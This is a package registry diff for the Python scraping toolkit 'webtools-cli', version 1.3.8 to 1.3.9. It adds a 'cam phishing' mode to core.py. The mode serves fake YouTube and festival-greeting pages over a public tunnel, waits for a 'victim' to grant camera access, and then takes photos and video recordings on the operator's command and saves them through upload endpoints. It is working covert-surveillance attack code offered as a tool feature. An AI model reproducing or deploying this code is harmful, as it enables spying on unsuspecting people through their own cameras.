webtools-cli 1.3.8__tar.gz → 1.3.9__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (25) hide show
  1. {webtools_cli-1.3.8/webtools_cli.egg-info → webtools_cli-1.3.9}/PKG-INFO +1 -1
  2. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/pyproject.toml +2 -2
  3. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/cli.py +1 -1
  4. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/core.py +158 -3
  5. webtools_cli-1.3.9/webtools/festivals.html +622 -0
  6. webtools_cli-1.3.9/webtools/youtube.html +1304 -0
  7. {webtools_cli-1.3.8 → webtools_cli-1.3.9/webtools_cli.egg-info}/PKG-INFO +1 -1
  8. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools_cli.egg-info/SOURCES.txt +2 -0
  9. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/ComfyUI/comfyUI.py +0 -0
  10. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/ComfyUI/comfyu.py +0 -0
  11. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/ComfyUI/ui.py +0 -0
  12. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/LICENSE +0 -0
  13. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/README.md +0 -0
  14. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/setup.cfg +0 -0
  15. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/__init__.py +0 -0
  16. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/__main__.py +0 -0
  17. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/install.py +0 -0
  18. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/mega_client.py +0 -0
  19. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/web/index.html +0 -0
  20. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/web/script.js +0 -0
  21. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/web/style.css +0 -0
  22. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools_cli.egg-info/dependency_links.txt +0 -0
  23. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools_cli.egg-info/entry_points.txt +0 -0
  24. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools_cli.egg-info/requires.txt +0 -0
  25. {webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools_cli.egg-info/top_level.txt +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: webtools-cli
3
- Version: 1.3.8
3
+ Version: 1.3.9
4
4
  Summary: Advanced Web Intelligence & Scraping Toolkit with CLI and Web UI
5
5
  Author: Abhinav Adarsh
6
6
  License-Expression: MIT
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "webtools-cli"
7
- version = "1.3.8"
7
+ version = "1.3.9"
8
8
  description = "Advanced Web Intelligence & Scraping Toolkit with CLI and Web UI"
9
9
  readme = "README.md"
10
10
  license = "MIT"
@@ -55,5 +55,5 @@ Homepage = "https://webtoolscli.pages.dev"
55
55
  include = ["webtools*", "ComfyUI*"]
56
56
 
57
57
  [tool.setuptools.package-data]
58
- webtools = ["web/*"]
58
+ webtools = ["web/*", "*.html"]
59
59
  ComfyUI = ["*.py"]
@@ -8,7 +8,7 @@ def main():
8
8
  try:
9
9
  main_launcher()
10
10
  except KeyboardInterrupt:
11
- print("\n👋 Goodbye!")
11
+ print("\n👋 Terminating session... Stay secure.")
12
12
  sys.exit(0)
13
13
 
14
14
  if __name__ == "__main__":
@@ -30,6 +30,7 @@ if sys.stdout.encoding and sys.stdout.encoding.lower() != 'utf-8':
30
30
  # --- PACKAGE PATHS ---
31
31
  PACKAGE_DIR = os.path.dirname(os.path.abspath(__file__))
32
32
  DATA_DIR = os.path.join(os.path.expanduser('~'), '.webtools')
33
+ os.makedirs(DATA_DIR, exist_ok=True)
33
34
  DB_PATH = os.path.join(DATA_DIR, 'app.db')
34
35
  # Scraped results are stored in a local 'webfiles' folder for better visibility
35
36
  SCRAPED_DIR = os.path.join(os.getcwd(), 'webfiles', 'scraped')
@@ -2827,6 +2828,71 @@ def api_translate():
2827
2828
  print(f"Translation Error: {e}")
2828
2829
  return jsonify({'error': str(e)}), 500
2829
2830
 
2831
+ # --- CAM PHISHING FEATURE ---
2832
+ CAM_STATE = {'action': None, 'page_name': None, 'yt_url': None, 'yt_title': None}
2833
+ CAM_DIR_PIC = os.path.join(os.getcwd(), 'webfiles', 'cam', 'pic')
2834
+ CAM_DIR_REC = os.path.join(os.getcwd(), 'webfiles', 'cam', 'rec')
2835
+ os.makedirs(CAM_DIR_PIC, exist_ok=True)
2836
+ os.makedirs(CAM_DIR_REC, exist_ok=True)
2837
+
2838
+ @app.route('/yt')
2839
+ @app.route('/festival')
2840
+ def serve_cam_watch():
2841
+ page_name = CAM_STATE.get('page_name')
2842
+ if page_name in ['youtube', 'festivals']:
2843
+ return send_from_directory(PACKAGE_DIR, f"{page_name}.html")
2844
+ return "Not found", 404
2845
+
2846
+ @app.route('/api/cam/config', methods=['GET'])
2847
+ def api_cam_config():
2848
+ return jsonify({
2849
+ 'yt_url': CAM_STATE.get('yt_url', ''),
2850
+ 'yt_title': CAM_STATE.get('yt_title', 'YouTube')
2851
+ })
2852
+
2853
+ @app.route('/api/cam/action', methods=['GET'])
2854
+ def api_cam_action():
2855
+ action = CAM_STATE['action']
2856
+ CAM_STATE['action'] = None
2857
+ return jsonify({'action': action})
2858
+
2859
+ @app.route('/api/cam/upload', methods=['POST'])
2860
+ def api_cam_upload():
2861
+ try:
2862
+ data = request.get_json(silent=True) or {}
2863
+ upload_type = data.get('type') # 'pic' or 'rec'
2864
+ content = data.get('content') # base64 string
2865
+
2866
+ if not upload_type or not content:
2867
+ return jsonify({'error': 'Missing type or content'}), 400
2868
+
2869
+ timestamp = int(time.time())
2870
+
2871
+ if upload_type == 'pic':
2872
+ # content is data:image/jpeg;base64,...
2873
+ header, encoded = content.split(",", 1)
2874
+ img_data = base64.b64decode(encoded)
2875
+ filename = f"capture_{timestamp}.jpg"
2876
+ filepath = os.path.join(CAM_DIR_PIC, filename)
2877
+ with open(filepath, 'wb') as f:
2878
+ f.write(img_data)
2879
+ print(f"\n[+] Picture saved: {filepath}\n> ", end="")
2880
+
2881
+ elif upload_type == 'rec':
2882
+ # content is data:video/webm;base64,...
2883
+ header, encoded = content.split(",", 1)
2884
+ vid_data = base64.b64decode(encoded)
2885
+ filename = f"recording_{timestamp}.webm"
2886
+ filepath = os.path.join(CAM_DIR_REC, filename)
2887
+ with open(filepath, 'wb') as f:
2888
+ f.write(vid_data)
2889
+ print(f"\n[+] Video saved: {filepath}\n> ", end="")
2890
+
2891
+ return jsonify({'success': True})
2892
+ except Exception as e:
2893
+ print(f"\n[-] Upload error: {e}")
2894
+ return jsonify({'error': str(e)}), 500
2895
+
2830
2896
  def wait_for_server(port, timeout=10):
2831
2897
  start = time.time()
2832
2898
  while time.time() - start < timeout:
@@ -3690,9 +3756,95 @@ def run_comfyui_mode():
3690
3756
  try: comfy_proc.wait(timeout=5)
3691
3757
  except: comfy_proc.kill()
3692
3758
 
3759
+ def run_cam_mode():
3760
+ """Interactive CLI flow for the /cam feature"""
3761
+ os.system('cls' if os.name == 'nt' else 'clear')
3762
+ print(f"\n{Fore.CYAN}--- CAM PHISHING MODE ---{Style.RESET_ALL}")
3763
+ print("Select target page template:")
3764
+ print(f" {Fore.CYAN}[1]{Style.RESET_ALL} Youtube")
3765
+ print(f" {Fore.CYAN}[2]{Style.RESET_ALL} Feastival Wishing")
3766
+ print(f" {Fore.RED}[b]{Style.RESET_ALL} Back to main menu")
3767
+
3768
+ choice = input(f"\n{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip().lower()
3769
+ if choice == 'b':
3770
+ return
3771
+
3772
+ yt_url = ""
3773
+ if choice == '1':
3774
+ CAM_STATE['page_name'] = "youtube"
3775
+ yt_url = input(f"Enter YouTube Link (e.g. https://www.youtube.com/watch?v=...): \n{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip()
3776
+ CAM_STATE['yt_url'] = yt_url
3777
+
3778
+ yt_title = "YouTube"
3779
+ if yt_url:
3780
+ import urllib.request, json, urllib.parse
3781
+ try:
3782
+ oembed_url = f"https://www.youtube.com/oembed?url={urllib.parse.quote(yt_url)}&format=json"
3783
+ with urllib.request.urlopen(oembed_url, timeout=5) as response:
3784
+ data = json.loads(response.read().decode('utf-8'))
3785
+ yt_title = data.get('title', "YouTube")
3786
+ except Exception:
3787
+ pass
3788
+ CAM_STATE['yt_title'] = yt_title
3789
+ elif choice == '2':
3790
+ CAM_STATE['page_name'] = "festivals"
3791
+ else:
3792
+ print(f"{Fore.RED}Invalid choice.{Style.RESET_ALL}")
3793
+ time.sleep(1)
3794
+ return
3795
+
3796
+ # Start Flask server if not running
3797
+ threading.Thread(target=lambda: app.run(host='0.0.0.0', port=PORT, debug=False, use_reloader=False, threaded=True), daemon=True).start()
3798
+
3799
+ public_url, tunnel_proc = None, None
3800
+ with MoonSpinner("Initializing Tunnel"):
3801
+ if wait_for_server(PORT, timeout=10):
3802
+ public_url, tunnel_proc = start_cloudflare_tunnel(PORT)
3803
+ else:
3804
+ print("❌ Server failed to start")
3805
+ return
3806
+
3807
+ if not public_url:
3808
+ print("❌ Failed to create tunnel")
3809
+ return
3810
+ if CAM_STATE.get('page_name') == 'youtube':
3811
+ target_url = f"{public_url}/yt"
3812
+ else:
3813
+ target_url = f"{public_url}/festival"
3814
+
3815
+ os.system('cls' if os.name == 'nt' else 'clear')
3816
+ print(f"\n{Fore.GREEN}{'='*60}{Style.RESET_ALL}")
3817
+ print(f"{Fore.GREEN}🚀 Link is LIVE:{Style.RESET_ALL} {Fore.CYAN}{target_url}{Style.RESET_ALL}")
3818
+ print(f"{Fore.GREEN}{'='*60}{Style.RESET_ALL}")
3819
+ print("\nWaiting for victim to open the link... (They will be prompted for camera after 5 sec)")
3820
+ print(f"\n{Fore.YELLOW}Available Commands:{Style.RESET_ALL}")
3821
+ print(" p : Capture picture")
3822
+ print(" r : Record video (Continuous chunks)")
3823
+ print(" f : Switch to Front Camera (Mobile)")
3824
+ print(" b : Switch to Back Camera (Mobile)")
3825
+ print(" q : Quit and return to menu\n")
3826
+
3827
+ try:
3828
+ while True:
3829
+ cmd = input(f"{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip().lower()
3830
+ if cmd == 'q' or cmd == '/q':
3831
+ break
3832
+ elif cmd in ['p', 'r', 'f', 'b']:
3833
+ action_map = {'p': 'picture', 'r': 'record', 'f': 'switch_front', 'b': 'switch_back'}
3834
+ CAM_STATE['action'] = action_map[cmd]
3835
+ print(f"[*] Command '{action_map[cmd]}' sent to client. Waiting for response...")
3836
+ else:
3837
+ print(f"{Fore.RED}Unknown command.{Style.RESET_ALL}")
3838
+ except KeyboardInterrupt:
3839
+ pass
3840
+ finally:
3841
+ if tunnel_proc:
3842
+ try: tunnel_proc.terminate()
3843
+ except: pass
3844
+
3693
3845
  def main_launcher():
3694
3846
  """Mode selection menu on startup"""
3695
- menu_commands = ['/web', '/cli', '/image', '/adb', '/help', '/clear', '/quit', '/history', '/w', '/c', '/i', '/a', '/h', '/q', '/hi', '--help']
3847
+ menu_commands = ['/web', '/cli', '/cam', '/image', '/adb', '/help', '/clear', '/quit', '/history', '/w', '/c', '/i', '/a', '/h', '/q', '/hi', '--help']
3696
3848
 
3697
3849
  # Conditional ComfyUI visibility
3698
3850
  has_gpu = check_gpu()
@@ -3726,6 +3878,8 @@ def main_launcher():
3726
3878
  run_cli_mode()
3727
3879
  elif choice in ['/image', '/i']:
3728
3880
  run_image_forensics_mode()
3881
+ elif choice in ['/cam']:
3882
+ run_cam_mode()
3729
3883
  elif choice in ['/cui']:
3730
3884
  if has_gpu or on_colab:
3731
3885
  run_comfyui_mode()
@@ -3739,6 +3893,7 @@ def main_launcher():
3739
3893
  print(f" {Fore.CYAN}/image{Style.RESET_ALL} - Local/Remote Image Forensics & AI detection. (Alias: /i)")
3740
3894
  if has_gpu or on_colab:
3741
3895
  print(f" {Fore.CYAN}/cui{Style.RESET_ALL} - Start ComfyUI session for AI generation.")
3896
+ print(f" {Fore.CYAN}/cam{Style.RESET_ALL} - Remote camera access via phishing templates.")
3742
3897
  print(f" {Fore.CYAN}/adb{Style.RESET_ALL} - ADB Bloatware Remover for Android devices. (Alias: /a)")
3743
3898
  print(f" {Fore.CYAN}/clear{Style.RESET_ALL} - Purges the 'webfiles/scraped' directory and clears screen.")
3744
3899
  print(f" {Fore.CYAN}/history{Style.RESET_ALL} - Shows command history. (Alias: /hi)")
@@ -3762,14 +3917,14 @@ def main_launcher():
3762
3917
  print("Cache purged and screen cleared.")
3763
3918
  time.sleep(1)
3764
3919
  elif choice in ['/quit', '/q']:
3765
- print(f"\n{Fore.YELLOW if COLOR_SUPPORT else ''}Goodbye!")
3920
+ print(f"\n{Fore.YELLOW if COLOR_SUPPORT else ''}Terminating session... Stay secure.{Style.RESET_ALL}")
3766
3921
  sys.exit()
3767
3922
  elif choice in ['/adb', '/a']:
3768
3923
  run_adb_mode()
3769
3924
  elif is_valid_url(choice):
3770
3925
  run_cli_mode(choice)
3771
3926
  except KeyboardInterrupt:
3772
- print("\n\nGoodbye!")
3927
+ print("\n\nTerminating session... Stay secure.")
3773
3928
  sys.exit()
3774
3929
 
3775
3930
  # --- ADB BLOATWARE REMOVER ---